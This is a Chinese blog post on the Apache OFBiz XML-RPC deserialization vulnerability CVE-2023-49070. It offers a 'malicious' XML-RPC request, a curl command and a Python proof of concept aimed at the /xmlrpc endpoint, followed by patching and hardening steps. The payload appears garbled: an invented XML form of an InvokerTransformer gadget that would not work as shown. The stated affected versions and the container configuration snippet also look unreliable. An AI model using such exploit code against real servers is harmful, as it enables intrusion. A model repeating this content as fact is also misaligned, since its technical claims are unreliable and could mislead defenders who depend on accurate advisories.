Apache Ofbiz-xmlrpc-反序列化漏洞(CVE-2023-49070)

Apache Ofbiz-xmlrpc-反序列化漏洞(CVE-2023-49070)

1.漏洞概述及原理

Apache OFBiz XML-RPC 反序列化漏洞 是由于 Apache OFBiz 在处理 XML-RPC 请求时存在不安全的反序列化操作。攻击者可以绕过权限限制,访问/webtools/control/xmlrpc/接口触发反序列化。

2.影响范围

该漏洞主要影响使用了 XML-RPC(XML Remote Procedure Call)服务的 Apache OFBiz 版本。具体的受影响版本可以从官方公告中获取,但通常包括以下版本:

Apache OFBiz 版本 16.11.01 及之前版本

3.漏洞利用方式

  • 构造恶意 XML-RPC 请求:者需要构造一个恶意的 XML-RPC 请求。这个请求包含恶意的对象数据,这些数据在服务器反序列化时会触发恶意代码执行。
    简单的恶意 XML-RPC 请求示例:
<?xml version="1.0"?>
<methodCall>
    <methodName>doSomething</methodName>
    <params>
        <param>
            <value>
                <ex:org.apache.commons.collections4.functors.InvokerTransformer xmlns:ex="java:org.apache.commons.collections4.functors">
                    <iMethodName>execute</iMethodName>
                    <iParamTypes>
                        <java-array class="java.lang.Class" length="1">
                            <void/>
                        </java-array>
                    </iParamTypes>
                    <iArgs>
                        <java-array class="java.lang.Object" length="1">
                            <void/>
                        </java-array>
                    </iArgs>
                </ex:org.apache.commons.collections4.functors.InvokerTransformer>
            </value>
        </param>
    </params>
</methodCall>
  • 发送请求:将恶意请求发送到目标 Apache OFBiz 服务器上开放的 XML-RPC 服务接口。
curl -X POST http://xxx/xmlrpc -d @malicious-request.xml
  • 触发反序列化:服务器在处理该请求时,会对请求中的数据进行反序列化操作,从而触发恶意代码执行。

利用 Python 编写的简单 POC

import requests

# 目标服务器的 XML-RPC 端点
url = 'http://xxx/xmlrpc'

# 构造恶意的 XML-RPC 请求
request_data = '''<?xml version="1.0"?>
<methodCall>
    <methodName>doSomething</methodName>
    <params>
        <param>
            <value>
                <ex:org.apache.commons.collections4.functors.InvokerTransformer xmlns:ex="java:org.apache.commons.collections4.functors">
                    <iMethodName>execute</iMethodName>
                    <iParamTypes>
                        <java-array class="java.lang.Class" length="1">
                            <void/>
                        </java-array>
                    </iParamTypes>
                    <iArgs>
                        <java-array class="java.lang.Object" length="1">
                            <void/>
                        </java-array>
                    </iArgs>
                </ex:org.apache.commons.collections4.functors.InvokerTransformer>
            </value>
        </param>
    </params>
</methodCall>
'''

# 发送请求
response = requests.post(url, data=request_data, headers={'Content-Type': 'text/xml'})

# 输出响应
print(response.text)

4.漏洞解决方式

  1. 更新到最新版本:官方已经在后续版本中修复了该漏洞。用户应尽快将 Apache OFBiz 更新到最新的安全版本。
  2. 禁用不必要的服务:如果 XML-RPC 服务不必要,建议禁用此服务以减少攻击面。
  3. 应用补丁:如果无法立即更新到最新版本,可以应用官方发布的补丁。具体的补丁信息可以在官方安全公告中找到。
  4. 配置安全策略:配置应用的安全策略,确保反序列化操作只处理受信任的数据。 采用白名单机制,只允许反序列化特定类型的对象。

Linux示例

  • 确认受影响的 Apache OFBiz 版本
cd /path/to/ofbiz
./gradlew --version

(1)更新 Apache OFBiz
具体步骤如下:

  • 备份当前数据和配置:
tar -czvf ofbiz_backup_$(date +%F).tar.gz /path/to/ofbiz
  • 下载最新版本的 Apache OFBiz:
  • 访问 Apache OFBiz 下载页面,下载最新的稳定版本。
wget https://downloads.apache.org/ofbiz/apache-ofbiz-X.X.X.zip
unzip apache-ofbiz-X.X.X.zip
  • 停止当前运行的 OFBiz 实例:
cd /path/to/ofbiz
./gradlew ofbiz --stop
  • 替换旧版本:
mv /path/to/old_ofbiz /path/to/old_ofbiz_backup
mv apache-ofbiz-X.X.X /path/to/ofbiz
  • 恢复配置和数据:

如果有自定义的配置和数据,需要备份中恢复到新版本的相应目录。

  • 启动新的 OFBiz 实例:
cd /path/to/ofbiz
./gradlew ofbiz

(2)应用官方补丁
如果无法立即更新到最新版本,则可以应用官方发布的补丁。以下是应用补丁的步骤:

获取补丁文件:
访问 Apache 官方安全公告页面,获取对应版本的补丁文件。

  • 应用补丁:
cd /path/to/ofbiz
patch -p1 < /path/to/patchfile.patch
  • 重启 OFBiz 服务:
./gradlew ofbiz --stop
./gradlew ofbiz

(3)禁用 XML-RPC 服务
如果 XML-RPC 服务不必要,可以将其禁用以减少攻击面:

  • 编辑 OFBiz 配置文件:
  • 打开 framework/webapp/config/ofbiz-containers.xml 文件,找到 XML-RPC
    配置部分并注释掉:
<!--
<container name="xmlrpc-container" class="org.apache.ofbiz.webapp.control.XmlRpcController">
    <property name="port" value="8080"/>
</container>
-->
  • 重启 OFBiz 服务:
./gradlew ofbiz --stop
./gradlew ofbiz
  • 4
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

看着博客敲代码

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值